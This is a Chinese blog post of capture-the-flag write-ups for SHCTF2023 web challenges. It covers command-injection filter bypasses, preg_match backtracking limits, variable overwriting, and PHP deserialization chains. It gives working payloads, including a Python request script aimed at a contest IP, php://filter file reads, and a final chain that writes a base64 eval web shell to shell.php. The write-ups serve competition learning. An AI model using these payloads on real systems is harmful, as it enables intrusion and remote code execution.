SHCTF2023

[WEEK1]babyRCE

考点:命令执行绕过

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了cat,使用rce=c\at${IFS}/fl??

[WEEK1]1zzphp

考点:数组绕过,回溯绕过preg_match

<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
} 
if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;

这里首先要匹配SHCTF前面是否有字符,由于有**.**的限制,以及/is修饰符的限制:

  • i (PCRE_CASELESS)
    如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。
  • s (PCRE_DOTALL)
    如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。

1

这行代码的作用是检查变量 $code 中是否包含任意字符(包括换行符),然后紧跟着 SHCTF(不区分大小写)。如果匹配成功,条件语句就会为真(true),可以执行条件为真时的代码块。

这里可以使用正则回溯最大次数上限绕过preg_match参考链接
最后的python脚本

import requests

# 目标URL
url = 'http://112.6.51.212:31314/?num[]=m'  # 请替换为实际的目标URL

# 要发送的POST参数
payload = {'c_ode':'very'*260000+'2023SHCTF'}

# 发送POST请求
response = requests.post(url=url, data=payload)
# 打印响应内容
print(response.text)

知识点:
国光师傅的PHP preg_系列漏洞小结

[WEEK1]ez_serialize

考点:php反序列化
不太擅长php反序列化,还是要好好看每一道反序列化题。。。

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

关键是A类中的include()函数通过文件包含拿到flag。
开始串链子。。。

** __invoke魔术方法**

魔术方法 __invoke() 会在将一个对象当作一个方法来使用时会自动调用。
下面的代码,我们给 Person 类添加上 __invoke() 魔术方法,然后我们就可以将它的实例当作普通方法来调用了。

<?php
class Person
{
    public $sex;
    public $name;
    public $age;

    public function __construct($name="",  $age=25, $sex='Male')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    public function __invoke()
    {
        return '你好,我的名字是: '. $this->name . ',我 '. $this->age .' 岁了。';
    }
}

$person = new Person('Yufei',30,'Male');

echo $person(), "\n";

那么如果将A类与其他类相连,那就根据__invoke()与D类相关起来。

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();//将对象当成了一个方法会调用__invoke()。
    }  
}

B类中触发__wakeup()

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

C类中触发__toString()

在把对象转换成字符串时自动调用

最后的代码:

<?php
highlight_file(__FILE__);

class A{
    public $var_1;
}

class B{
    public $q;
}
class C{
    public $var;
    public $z;
}

class D{
    public $p;
}
$a = new B();
$b = new C();
$c = new D();
$d = new A();
$a->q = $b;
$b->z = $c;
$c->p = $d;
$d->var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>

得到
O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
2

[WEEK1]登录就给flag

12
用户名密码admin/password
2

[WEEK1]飞机大战

flag就在前端,找就行了。
1
解码一下unicode->base64->flag。

[WEEK1]ezphp

知识点:

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>

因为字符串中的特殊字符需要转义,所以\\1实际上就是 \1, 而 \1 在正则表达式中表示反向引用。

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用\n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

引入一个例子理解一下深入研究preg_replace与代码执行

正则表达式 含义
. 匹配除换行符以外的任意字符
\s 匹配任意的空白符
\S 匹配任何非空白字符
+ 匹配前面的子表达式一次或多次

1

[WEEK1]生成你的邀请函吧~

1
按照他说的得到的图片下面就是flag。

[WEEK2]MD5的事就拜托了

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

首先通过第一个if

if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }

这里extract(parse_url($_POST['SHCTF']));是将传入的SHCTF值的一部分再作为参数。extract会涉及到变量覆盖漏洞
参考资料PHP中的变量覆盖漏洞
在这里做一个测试:
比如说这一段代码

<?php
$b='http://sd.com:12/as.php?s=456';
print_r(parse_url($b));

/*
打印结果:
Array
(
    [scheme] => http
    [host] => sd.com
    [port] => 12
    [path] => /as.php
    [query] => s=456
)
*/

这里我们将http改为host,将sd.com改为query,将s=456改为SHCTF
也就是以下代码:

<?php
$a='host://query/sd.php?SHCTF';
print_r(parse_url($a));
/*
运行结果:
Array
(
    [scheme] => host
    [host] => query
    [path] => /sd.php
    [query] => SHCTF
)
*/

这里正好实现三次变量覆盖,输出了flag的md5值
1
接下来通过下面的代码:

if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }

这个好弄,就是将length赋值为带有三位小数的数值length=132.456,返回flag长度42。

到这已经知道了:
flag.md5=2f679a35b591a420d8cc6b60f90d3fb1
flag.length=42

后面这个其实也知道哈希拓展攻击,可是好像找的脚本不能用了。唉,复现一下。。。
使用脚本(脚本地址
2
3

[WEEK2]serialize

知识点:浅拷贝、反序列化
分享文章:从两道题目浅谈PHP深浅拷贝

<?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

又是一道反序列化题目,不会就多补补。
串一下链子:

musca->misca->milaoshu
最后使用php伪协议来读取flag.php文件。

123
链子:

<?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    function __construct(){
        $this->gao=&$this->a;//重点
    }
}
class musca{
    public $ding;
    public $dong;

}
class milaoshu{
    public $v='php://filter/convert.base64-encode/resource=flag.php';

}
$a=new musca();
$a->ding=new misca();
$a->ding->fei=new milaoshu();
echo serialize(array($a));//array绕过数组

[WEEK3]sseerriiaalliizzee

知识点:反序列化、file_put_contents利用
文章分享:谈一谈php://filter的妙用

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?>

串好链子:

Start->CTF->Flag

exp:

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
        return $this->barking->dosomething();
    }
}

class CTF{
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;

    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";

    }
}
$a=new Start();
$b=new CTF();
$a->barking=$b;
$b->part1="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$b->part2='PD8gZXZhbCgkX1BPU1RbMV0pOw==';
echo serialize($a);
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信